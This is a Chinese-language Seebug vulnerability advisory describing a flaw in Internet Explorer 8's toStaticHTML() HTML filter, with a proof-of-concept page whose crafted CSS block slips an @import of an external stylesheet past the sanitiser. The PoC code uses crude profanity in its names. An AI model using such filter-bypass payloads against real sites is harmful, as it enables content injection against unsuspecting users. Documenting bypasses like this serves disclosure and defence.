Microsoft IE 8 toStaticHTML()函数不安全HTML过滤漏洞

2010-08-19T00:00:00
ID SSV:20052
Type seebug
Reporter Root
Modified 2010-08-19T00:00:00

Description

BUGTRAQ ID: 42467

Internet Explorer是Windows操作系统中默认捆绑的web浏览器。

IE8中对窗口对象提供了名为toStaticHTML的过滤方式。如果向这个函数传送了HTML字符串,在返回之前会删除所有可执行的脚本结构。例如,可使用toStaticHTML方式确保从postMessage调用所接收到的HTML无法执行脚本,但可利用基本格式:

document.attachEvent('onmessage',function(e) { if (e.domain == 'weather.example.com') { spnWeather.innerHTML = window.toStaticHTML(e.data); } }

调用:

window.toStaticHTML("This is some <b>HTML</b> with embedded script following... <script>alert('bang!');</script>!");

会返回:

This is some <b>HTML</b> with embedded script following... !

Microsoft Internet Explorer 8.0 厂商补丁:

Microsoft

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.microsoft.com/windows/ie/default.asp

                                        
                                            
                                                &lt;script type=&quot;text/javascript&quot;&gt;
function fuckie()
{
var szInput = document.shit.input.value;
var szStaticHTML = toStaticHTML(szInput);

ResultComment = szStaticHTML;
document.shit.output.value = ResultComment;
}
&lt;/script&gt;

&lt;form name=&quot;shit&quot;&gt;
&lt;textarea name='input' cols=40 rows=20&gt;
&lt;/textarea&gt;
&lt;textarea name='output' cols=40 rows=20&gt;
&lt;/textarea&gt;

&lt;input type=button value=&quot;fuck_me&quot; name=&quot;fuck&quot; onclick=fuckie();&gt;
&lt;/form&gt;


&lt;style&gt;

}@import url('//127.0.0.1/1.css');aaa

{;}

&lt;/style&gt;

&lt;div id=&quot;x&quot;&gt;Fuck Ie&lt;/div&gt;